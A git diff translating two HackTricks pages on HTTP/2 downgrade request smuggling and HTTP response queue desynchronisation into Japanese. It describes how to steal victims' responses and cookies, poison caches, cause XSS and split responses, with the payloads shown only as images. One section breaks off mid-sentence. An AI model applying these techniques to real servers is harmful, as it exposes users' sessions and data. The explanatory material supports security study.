☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Origins +## 起源 -The main origin of this vulnerability is the fact that the **reverse proxy** is going to **talk with the client** using **HTTP/2** but then it will **transform** that **communication** with the **back-end server** to **HTTP/1.1**. +この脆弱性の主な原因は、**リバースプロキシ**が**HTTP/2**を使用して**クライアント**と**通信**するが、その後、**バックエンドサーバ**との**通信**を**HTTP/1.1**に**変換**することです。 ![](<../../.gitbook/assets/image (636) (1).png>) -The problem with this approach is that the **user** is going to be able to **inject** unnecessarily **headers** in the **HTTP/2 communication** that probably **won't be checked** by the proxy. But then, when those are **injected blindly in the HTTP/1.1 communication**, **a request smuggling attack can be performed**. +このアプローチの問題は、**ユーザ**が**HTTP/2通信**に不必要な**ヘッダ**を**注入**できることであり、おそらくプロキシによって**チェックされない**可能性があります。しかし、それらが**HTTP/1.1通信に盲目的に注入**されると、**リクエストスミグリング攻撃**が実行される可能性があります。 -## Examples +## 例 -### H2.CL Desync +### H2.CLデシンク -The HTTP/2 specification indicates that the **Content-Length header isn't needed but can be indicated**. Therefore, the **reverse proxy** will **treat all the content sent by the users** as the request, but then, when **downgrading to HTTP/1.1**, this **header** is going to be **injected** in the **request** and therefore, the **back-end will treat the request as 2 different requests** as you can see in the image below: +HTTP/2の仕様では、**Content-Lengthヘッダは必要ではないが指定できる**とされています。したがって、**リバースプロキシ**は**ユーザが送信したすべてのコンテンツ**をリクエストとして扱いますが、その後、**HTTP/1.1にダウングレード**すると、この**ヘッダ**が**リクエストに注入**されるため、**バックエンドはリクエストを2つの異なるリクエストとして処理**します。以下の画像で確認できます。 ![](<../../.gitbook/assets/image (639).png>) -### H2.TE Desync URL Token Hijack +### H2.TEデシンクURLトークンハイジャック -The HTTP/2 specification also indicates that **any message containing connection-specific header fields MUST be treated as malformed... but if you don't follow this rule, you are vulnerable**. +HTTP/2の仕様では、**接続固有のヘッダフィールドを含むメッセージは不正形式として扱われるべきですが、このルールに従わない場合は脆弱性があります**。 -This technique was abused on AWS load balancer, so making sure that the users access a Host header pointing to a server controlled by the attacker will make them access that server. +この技術はAWSロードバランサで悪用され、攻撃者が制御するサーバを指すホストヘッダにユーザがアクセスするようにすると、ユーザはそのサーバにアクセスします。 ![](<../../.gitbook/assets/image (631) (1).png>) -### H2.TE Desync Header Hijack +### H2.TEデシンクヘッダハイジャック -This is exactly the same technique as before, but checking the requests James noticed that clients were asking to send him their credentials, so he just modified his server to allow CORS to send him peoples credentials: +これは前述の技術とまったく同じですが、Jamesはクライアントが彼に自分の資格情報を送信するよう要求していることに気付きました。そのため、彼は自分のサーバを変更してCORSを許可し、人々の資格情報を送信するようにしました。 ![](<../../.gitbook/assets/image (662) (1) (1) (1) (1) (1).png>) -### H2.TE via Request Header Injection +### H2.TEを介したリクエストヘッダの注入 -**HTTP/2 also won't allow to put not permitted characters in headers**, but if the server **isn't respecting** this rule, you can **inject arbitrary headers** when the communication is **downgraded** to HTTP/1.1. +**HTTP/2では許可されていない文字をヘッダに入れることはできません**が、サーバがこのルールを**守っていない**場合、通信が**HTTP/1.1にダウングレード**されたときに**任意のヘッダを注入**することができます。 -In this case **the header Transfer-Encoding was injected**. +この場合、**Transfer-Encodingヘッダが注入**されました。 ![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>) -### H2.TE via Header Name Injection +### H2.TEを介したヘッダ名の注入 -HTTP/2 on some servers lets you put a **colon in the header name, and with a** you can inject a new header inside the header name like this: +一部のサーバでは、HTTP/2でヘッダ名に**コロンを入れることができ、**でヘッダ名内に新しいヘッダを注入することができます。 ![](<../../.gitbook/assets/image (632) (1).png>) -Note that if you put just the new line characters sending a header without content, the request is going to be treated as **invalid**: +ただし、コンテンツのないヘッダを送信するために改行文字のみを入れた場合、リクエストは**無効**として扱われることに注意してください。 ![](<../../.gitbook/assets/image (647) (1) (1) (1).png>) -### H2.TE via Request LIne Injection +### H2.TEを介したリクエストラインの注入 -In this case the injection was performed inside the request line: +この場合、注入はリクエストライン内で行われました。 ![](<../../.gitbook/assets/image (640) (1).png>) -### URL Prefix Injection +### URLプレフィックスの注入 -Inside the scheme of the HTTP/2 connection you might be able to send a full URL that will overwrite the one indicated in the path: +HTTP/2接続のスキーム内には、パスで指定されたURLを上書きすることができる場合があります。 ![](<../../.gitbook/assets/image (661) (1) (1).png>) -### Request Line Injection via spaces +### スペースを介したリクエストラインの注入 ![](<../../.gitbook/assets/image (641) (1).png>) -## Frontend->backend connection reuse +## フロントエンド->バックエンドの接続再利用 -Sometimes you will find that preforming a HTTP Request Smuggling attack **you can only attack yourself**. This could be because the reverse proxy has decided to **use a different connection with the back-end** server per IP. +時々、HTTPリクエストスミグリング攻撃を実行すると、**自分自身に攻撃できるだけ**の場合があります。これは、リバースプロキシがIPごとに**バックエンドサーバとは異なる接続を使用**することを決定したためかもしれません。 -Note that **even** with that **restriction** you still can perform attacks like **authorization bypasses**, internal headers leakage and **cache deception and cache poisoning** attacks. +ただし、この制限があっても、**認証バイパス**、内部ヘッダの漏洩、**キャッシュの欺瞞とキャッシュの汚染**などの攻撃を実行することはできます。 -Usually this restriction doesn't exist so you can **smuggle request into the connection between the reverse proxy and the back end** that other people are using, but it's even **possible** that the **proxy** doesn't **even reuse a connection with connections from the same IP** (pretty heavy restriction for this kind of attack). +通常、この制限は存在しないため、他の人が使用しているリバースプロキシとバックエンドの接続に**リクエストをスミグリング**することができますが、**プロキシ**が**同じIPからの接続と接続を再利用しない**可能性もあります(この種の攻撃にはかなりの制限があります)。 ![](<../../.gitbook/assets/image (646) (1) (1).png>) -In the heaviest restriction (no connection reuse) you will detect the vulnerability with the Time Based technique, but then testing it you will find that it's a "false positive". +最も制限が厳しい場合(接続の再利用なし)は、タイムベースの技術で脆弱性を検出しますが、テストしてみると「偽陽性」であることがわかります。 +### トンネリングの確認 -### Tunnelling Confirmation +**エンドポイントが脆弱**であるが、接続が**「トンネル」**内にある場合、**2つの完全なリクエストを1つに組み込む**ことで確認する方法があります。 -A way to **confirm** if the **endpoint is vulnerable** but the connection is **inside a "tunnel"** is to **smuggle 2 full requests** into 1. +**HTTP/1.1**の問題は、**2つのHTTPレスポンスを受け取った場合**、エンドポイントが脆弱であるかどうか、または**「組み込まれた」リクエストが通常のリクエストとして処理されたかどうかがわからない**ことです。 -The **problem** with **HTTP/1.1** is that if you **receive 2 HTTP responses** you **don't know** if the endpoint was **vulnerable** or it isn't and the **"smuggled" request was just treated as a regular request**. - -However, this technique can be used **in HTTP/2** because if the endpoint was **vulnerable** and you smuggled one request, you will see the **headers of the response to the smuggled request in the response from the reverse proxy**: +しかし、このテクニックは**HTTP/2**で使用することができます。なぜなら、エンドポイントが脆弱であり、リクエストを組み込んだ場合、リバースプロキシからのレスポンスには組み込まれたリクエストのヘッダが含まれているからです。 ![](<../../.gitbook/assets/image (652) (1) (1) (1).png>) -### Tunnel-vision Problem +### トンネルビジョンの問題 -There could be another problem, if the **response** to the legit request **contains** a **Content-Length**, the **reverse proxy** is only going to **read the bytes specified there and no more, so you won't be able to read the response from the smuggled request.** +もう1つの問題があります。正規のリクエストへの**レスポンスにContent-Lengthが含まれている場合**、リバースプロキシは指定されたバイト数のみを読み取ります。そのため、組み込まれたリクエストのレスポンスを読み取ることはできません。 -However, the **HEAD** request **doesn't contain a body** but it usually **contains** the **Content-Length** as if the request was a GET request. Therefore, sending a **HEAD** request **instead of a POST** request you can **read the HEAD Content-Length** bytes of the smuggled request response. +ただし、**HEAD**リクエストは**ボディを含まない**が、通常はGETリクエストと同じように**Content-Lengthを含む**ことがあります。したがって、POSTリクエストの代わりにHEADリクエストを送信すると、組み込まれたリクエストのレスポンスのHEAD Content-Lengthバイトを読み取ることができます。 ![](<../../.gitbook/assets/image (628) (1) (1).png>) -### Leaking Internal Headers via Tunneling +### トンネリングによる内部ヘッダの漏洩 -If you find a **POST** **parameter** inside the application whose **content** is going to be **reflected** in the **response**, then you can try to inject HTTP/1.1 \r\n characters inside a HTTP/2 request header so the newly injected headers by the proxy are going to be appended in the POST parameter that will be reflected in the response: +アプリケーション内に**POSTパラメータ**があり、その**内容がレスポンスに反映**される場合、HTTP/2リクエストヘッダにHTTP/1.1 \r\n文字を注入して、プロキシによって新たに注入されたヘッダがPOSTパラメータに追加され、レスポンスに反映されるようにすることができます。 ![](<../../.gitbook/assets/image (656) (1) (1).png>) -Note that in this case the **attacker** just cares about the **response** to the **first** **request**, he doesn't need to read the request to the smuggled invalid second request. +この場合、**攻撃者**は**最初のリクエスト**への**レスポンス**にのみ関心があり、組み込まれた無効な2番目のリクエストのリクエストを読み取る必要はありません。 {% hint style="info" %} -Using this attack **agains different parts of the web (method, path...)** can lead to different back-ends being used and **different sensitive information being leaked** +この攻撃を**Webのさまざまな部分(メソッド、パスなど)**に対して使用すると、異なるバックエンドが使用され、**異なる機密情報が漏洩する**可能性があります。 {% endhint %} -### Cache Poisoning via Tunneling +### トンネリングによるキャッシュの汚染 -In this scenario a **HEAD** request to the **URL** **whose** **cache** is going to be **poisoned** is sent while **smuggling** a **request** whose **response content will be containing the payload** (maybe some XSS payload). +このシナリオでは、**キャッシュが汚染**される**URL**に対して**HEAD**リクエストが送信され、同時に**レスポンスの内容にペイロードが含まれる**リクエストが組み込まれます(おそらくXSSペイロード)。 -Due to the fact the the **HEAD response contains the `Content-Type: text/html`** and because the reverse proxy thinks that the **whole response to the smuggled request is the body of the HEAD** request, the **XSS payload** is going to be **treated as HTML** even if the page wasn't vulnerable to XSS. +**HEADレスポンスには`Content-Type: text/html`**が含まれているため、リバースプロキシは**組み込まれたリクエストの全体のレスポンスをHEADリクエストのボディとして処理**するため、XSSペイロードはXSSに脆弱ではないページでも**HTMLとして処理**されます。 ![](<../../.gitbook/assets/image (659) (1).png>) -## Hidden HTTP/2 +## 隠されたHTTP/2 -Usually servers advertise the support via ALPN field in TLS handshake, but some doesn't. +通常、サーバーはTLSハンドシェイクのALPNフィールドでサポートを宣伝しますが、一部のサーバーは宣伝しません。 -It can be easily detected using `curl --http2 --http2-prior-knowledge` +`curl --http2 --http2-prior-knowledge`を使用して簡単に検出できます。 -## Tools +## ツール -* Burp extension: HTTP Request Smuggler +* Burp拡張機能:HTTP Request Smuggler * [https://github.com/neex/http2smugl](https://github.com/neex/http2smugl) -## References +## 参考文献 -* This talk explains perfectly all the techniques indicated here: [https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M) +* このトークでは、ここで説明されているすべてのテクニックが完璧に説明されています:[https://www.youtube.com/watch?v=rHxVVeM9R-M](https://www.youtube.com/watch?v=rHxVVeM9R-M)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/pentesting-web/http-response-smuggling-desync.md b/pentesting-web/http-response-smuggling-desync.md index d81adf405..637edaaba 100644 --- a/pentesting-web/http-response-smuggling-desync.md +++ b/pentesting-web/http-response-smuggling-desync.md @@ -1,155 +1,138 @@ -# HTTP Response Smuggling / Desync +# HTTPレスポンススミグリング/デシンク
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## HTTP Request Queue Desynchronisation +## HTTPリクエストキューデシンクロナイゼーション -First of all, this technique **abuses a HTTP Request Smuggling vulnerability**, so you need to know what that is: +まず、この技術は**HTTPリクエストスミグリングの脆弱性**を悪用するため、それが何であるかを知る必要があります。 -The **main** **difference** between this technique and a common HTTP Request smuggling is that **instead** of **attacking** the **request** of the **victim** **by adding a prefix to it**, we are going to **leak or modify the response the victim receives**. This is done by, instead of sending 1 request and a half to abuse the HTTP Request smuggling, **send 2 complete requests to desynchronise the proxies responses queue**. +この技術と一般的なHTTPリクエストスミグリングの**主な違い**は、**攻撃者がプレフィックスを追加して被害者のリクエストを攻撃する代わりに、被害者が受け取るレスポンスを漏洩または変更する**ことです。これは、HTTPリクエストスミグリングを悪用するために1つのリクエストと半分を送信する代わりに、**2つの完全なリクエストを送信してプロキシのレスポンスキューを非同期化**することによって行われます。 -This is because we are going to be able to **desynchronise the response queue** so the **response** from the **legit** **request** of the **victim is sent to the attacker**, or by **injecting attackers controlled content in the response to the victim**. +これは、レスポンスキューを**非同期化**することができるため、被害者の**正当なリクエストのレスポンスが攻撃者に送信される**か、攻撃者がレスポンスに制御可能なコンテンツを注入することによって、被害者に送信される**レスポンスを攻撃者が制御する**ことができるからです。 -### HTTP Pipeline Desync +### HTTPパイプラインデシンク -HTTP/1.1 allows to ask for **different resources without needing to wait for previous ones**. Therefore, if there is a **proxy** in the **middle**, it's the proxies task to **maintain a synchronised match of requests sent to the backend and responses coming from it**. +HTTP/1.1では、**前のリソースを待つ必要なく、異なるリソースを要求する**ことができます。したがって、**プロキシ**が**中間にある場合**、プロキシの役割は、バックエンドに送信されたリクエストとそれに対するレスポンスの**同期されたマッチを維持する**ことです。 -However, there is a problem desynchronising the responses queue. If an attacker send a HTTP Response smuggling attack and the responses to the **initial request and the smuggled one are responded immediately**, the smuggled response won't be inserted inside the queue of the victim response but will **just be discarded as an error**. +しかし、レスポンスキューを非同期化する問題があります。攻撃者がHTTPレスポンススミグリング攻撃を送信し、**初期リクエストとスミグリングされたリクエストのレスポンスがすぐに返される**場合、スミグリングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして破棄されるだけ**です。 ![](<../.gitbook/assets/image (635) (1) (1) (1).png>) -Therefore, it's needed that the **smuggled** **request** **takes more time to be processed** inside the back-end server. Therefore, by the time the smuggled request is processed, the communication with the attacker will be over. +したがって、スミグリングされたリクエストがバックエンドサーバーで処理されるまでに**時間がかかる必要があります**。 -If in this specific situation a **victim has sent a request** and the **smuggled request is responded before** the legitimate request, the **smuggled response will be sent to the victim**. Therefore, the attacker will be **controlling the request "performed" by the victim**. +この特定の状況で、**被害者がリクエストを送信**し、**スミグリングされたリクエストが正当なリクエストよりも先に応答される**場合、**スミグリングされたレスポンスが被害者に送信されます**。したがって、攻撃者は被害者によって「実行される」リクエストを**制御**することができます。 -Moreover, is the **attacker then perform a request** and the **legitimate response** to the **victim** request is **answered** **before** the attackers request. The **response to the victim is going to be sent to the attacker**, **stealing** the response to the victim (which can contains for example the header **Set-Cookie**). +さらに、**攻撃者がリクエストを実行**し、**被害者**のリクエストに対する**正当なレスポンスが攻撃者のリクエストよりも**先に**応答される場合、**被害者へのレスポンスが攻撃者に送信され**、被害者のレスポンス(たとえばヘッダー**Set-Cookie**を含む)が**盗まれます**。 ![](<../.gitbook/assets/image (658) (1).png>) ![](<../.gitbook/assets/image (655) (1) (1) (1).png>) -### Multiple Nested Injections +### 複数のネストされたインジェクション -Another **interesting difference** with common **HTTP Request Smuggling** is that, in a common smuggling attack, the **goal** is to **modify the beginning of the victims request** so it perform an unexpected action. In a **HTTP Response smuggling attack**, as you are **sending full requests**, you can **inject in one payload tens of responses** that will be **desynchronising tens of users** that will be **receiving** the **injected** **responses**. +一般的なHTTPリクエストスミグリングとの**興味深い違い**は、一般的なスミグリング攻撃では、**目標**は被害者のリクエストの**先頭を変更**して予期しないアクションを実行することです。**HTTPレスポンススミグリング攻撃**では、**完全なリクエスト**を送信するため、**1つのペイロードに複数のレスポンス**を注入することができ、これにより**複数のユーザーが非同期化**され、**注入されたレスポンス**を**受信**することができます。 -Apart from being able to **distribute more easily tens of exploits** across legitimate users, this could also be used to cause a **DoS** in the server. +合法的なユーザーに対して**複数のエクスプロイトをより簡単に配布**することができるだけでなく、これはサーバーでの**DoS**を引き起こすためにも使用できます。 -### Exploit Organisation +### エクスプロイトの組織化 -As explained previously, in order to abuse this technique, it's needed that the **first smuggled message** into the server **requires a lot of time to be processed**. +前述のように、この技術を悪用するには、サーバーに**最初のスミグリングメッセージ**を送信するのに**多くの時間がかかる必要があります**。 -This **time consuming request is enough** if we just want to **try to steal the victims response.** But if you want to perform a more complex exploit this will be a common structure for the exploit. +この**時間のかかるリクエストは、被害者のレスポンスを盗む**だけならば十分です。しかし、より複雑なエクスプロイトを実行したい場合は、この構造がエクスプロイトの一般的な構造になります。 -First of all the **initial** request abusing **HTTP** **Request** **smuggling**, then the **time consuming request** and then **1 or more payload requests** that whose responses will be sent to the victims. +まず、**HTTPリクエストスミグリング**を悪用する**初期リクエスト**、次に**時間のかかるリクエスト**、そして**1つ以上のペイロードリクエスト**が続き、そのレスポンスが被害者に送信されます。 -## Abusing HTTP Response Queue Desynchronisation +## HTTPレスポンスキューデシンクの悪用 -### Capturing other users' requests +### 他のユーザーのリクエストのキャプチャ -As with HTTP Request Smuggling known payloads, you can **steal the victims request** with one important difference: In this case you just need the **send content to be reflected in the response**, **no persistent storage** is needed. +HTTPリクエストスミグリングの既知のペイロードと同様に、** +## レスポンスの非同期化 -First, the attacker send a payload containing a **final POST request with the reflected parameter** at the end and a large Content-Length +ここまで、HTTPリクエストスミグリング攻撃を悪用して、**クライアントが受け取るレスポンスを制御**し、その後、**被害者向けのレスポンスを盗む**方法を学びました。 -![](<../.gitbook/assets/image (625).png>) +しかし、レスポンスをさらに**非同期化することも可能**です。 -Then, once the **initial request** (blue) was **processed** and **while** the **sleepy** one is being processed (yellow) the **next request that arrives from a victim** is going to be **appended in the queue just after the reflected parameter**: +**HEAD**リクエストのような興味深いリクエストは、**レスポンスボディにコンテンツが含まれない**ように指定されており、リクエストが**GETリクエストであるかのようにContent-Lengthを含む**必要があります(必須)。 -![](<../.gitbook/assets/image (634) (1).png>) - -Then, the **victim** will **receive** the **response to the sleepy** request and if in the meantime the **attacker** **sent** **another** **request**, the **response from the reflected content request will be sent to him**. - -## Response Desynchronisation - -Up to this point, we have learned how to abuse HTTP Request Smuggling attacks to **control** the **request** **whose** **response** a **client** is going to **receive** and how you can then **steal the response that was meant for the victim**. - -But it's still possible to **desynchronise even** more the responses. - -There are interesting requests like **HEAD** request that are specified to not have **any content inside the responses body** and that should (must) **contain the Content-Length** of the request like **if it was a GET request**. - -Therefore, if an attacker **injects** a **HEAD** request, like in this images: +したがって、攻撃者が次のような**HEAD**リクエストを**注入**する場合、次の被害者のリクエストがキューに追加されます: ![](<../.gitbook/assets/image (626).png>) -Then, **once the blue one is responded to the attacker**, the next victims request is going to be introduced in the queue: +その後、**被害者**は**HEAD**リクエストからの**レスポンス**を**受け取ります**が、これには**Content-Lengthだけが含まれており、実際のコンテンツは含まれていません**。したがって、プロキシはこのレスポンスを被害者に**送信せず**、実際には**コンテンツ**を待機します。このコンテンツは、攻撃者によって注入された**黄色のリクエストに対するレスポンス**です: ![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>) -Then, the **victim** will **receive** the **response** from the **HEAD** request, which is **going to contain a Content-Length but no content at all**. Therefore, the proxy **won't send this response** to the victim, but will **wait** for some **content**, which actually is going to be **response to the yellow request** (also injected by the attacker): +### コンテンツの混乱 -![](<../.gitbook/assets/image (627) (1).png>) - -### Content Confusion - -Following the previous example, knowing that you can **control the body** of the request whose response is going to receive the victim and that a **HEAD** **response** usually contains in its headers the **Content-Type and the Content-Length**, you can **send a request like the following** one to **cause XSS** in the victim without the page being vulnerable to XSS: +前の例に従って、被害者が受け取るレスポンスのボディを**制御**できること、および**HEAD**レスポンスが通常、ヘッダに**Content-TypeとContent-Length**を含むことを知っている場合、次のようなリクエストを**送信**して、ページがXSSに対して脆弱ではない状態で被害者にXSSを引き起こすことができます: ![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>) -### Cache Poisoning +### キャッシュの汚染 -Abusing the previously commented response desynchronisation Content Confusion attack, i**f the cache stores the response to the request performed by the victim and this response is an injected one causing a XSS, then the cache is poisoned**. +先にコメントしたレスポンスの非同期化コンテンツの混乱攻撃を悪用すると、**キャッシュが被害者によって実行されたリクエストのレスポンスを保存し、このレスポンスがXSSを引き起こすような注入されたものである場合、キャッシュが汚染されます**。 -Malicious request containing the XSS payload: +XSSペイロードを含む悪意のあるリクエスト: ![](<../.gitbook/assets/image (644) (1).png>) -Malicious response to the victim that contains the header that indicates to the cache to store the response: +キャッシュに保存するようにキャッシュに指示するヘッダを含む被害者への悪意のあるレスポンス: ![](<../.gitbook/assets/image (629) (1).png>) {% hint style="warning" %} -Note that in this case if the **"victim" is the attacker** he can now perform **cache poisoning in arbitrary URLs** as he can **control the URL that is going to be cached** with the malicious response. +この場合、**「被害者」が攻撃者である**場合、攻撃者は**悪意のあるレスポンスでキャッシュされるURLを制御**できるため、**任意のURLでキャッシュの汚染**を実行できます。 {% endhint %} -### Web Cache Deception +### ウェブキャッシュの欺瞞 -This attack is similar to the previous one, but **instead of injecting a payload inside the cache, the attacker will be caching victim information inside of the cache:** +この攻撃は前の攻撃と似ていますが、**キャッシュ内にペイロードを注入する代わりに、攻撃者はキャッシュ内に被害者の情報をキャッシュします**: ![](<../.gitbook/assets/image (643) (1) (1).png>) -### Response Splitting +### レスポンスの分割 -The **goal** of this attack is to abuse again the **response** **desynchronisation** in order to **make the proxy send a 100% attacker generated response**. +この攻撃の目的は、再び**レスポンスの非同期化**を悪用して、プロキシが**100%攻撃者が生成したレスポンスを送信**することです。 -In order to achieve this, the attacker needs to find an endpoint of the web application that is **reflecting some values inside the response** and **know the content length of the HEAD response**. +これを実現するために、攻撃者はレスポンス内のいくつかの値を**反映させるWebアプリケーションのエンドポイント**を見つけ、**HEAD**レスポンスの**コンテンツ長を知る必要があります**。 -He will send a **exploit** like: +攻撃者は次のような**エクスプロイト**を送信します: ![](<../.gitbook/assets/image (649) (1) (1) (1).png>) -After the first request is resolved and sent back to the attacker, the **victims request is added into the queue**: +最初のリクエストが解決され、攻撃者に送り返された後、**被害者のリクエストがキューに追加**されます: ![](<../.gitbook/assets/image (661) (1) (1) (1).png>) -The victim will receive as response the **HEAD response + the content of the second request response (containing part of the reflected data):** +被害者は、**HEAD**レスポンスと**2番目のリクエストのレスポンスのコンテンツ(反映されたデータの一部を含む)**をレスポンスとして受け取ります: ![](<../.gitbook/assets/image (633) (1).png>) -However, note how the **reflected data had a size according to the Content-Length** of the **HEAD** response that **generated a valid HTTP response in the response queue**. +ただし、**反映されたデータはHEAD**レスポンスの**Content-Lengthに応じたサイズ**を持っていたことに注意してください。これにより、**2番目の被害者の次のリクエスト**は、**攻撃者によって完全に作成されたレスポンス**を**受け取る**ことになります。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシがレスポンスをキャッシュする**こともできます。 -Therefore, the **next request of the second victim** will be **receiving** as **response something completely crafted by the attacker**. As the response is completely crafted by the attacker he can also **make the proxy cache the response**. +## 参考文献 -## References - -* Don't forget to check this video explaining all these techniques really good: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s) +* これらのテクニックを非常によく説明しているこのビデオもチェックしてください:[https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
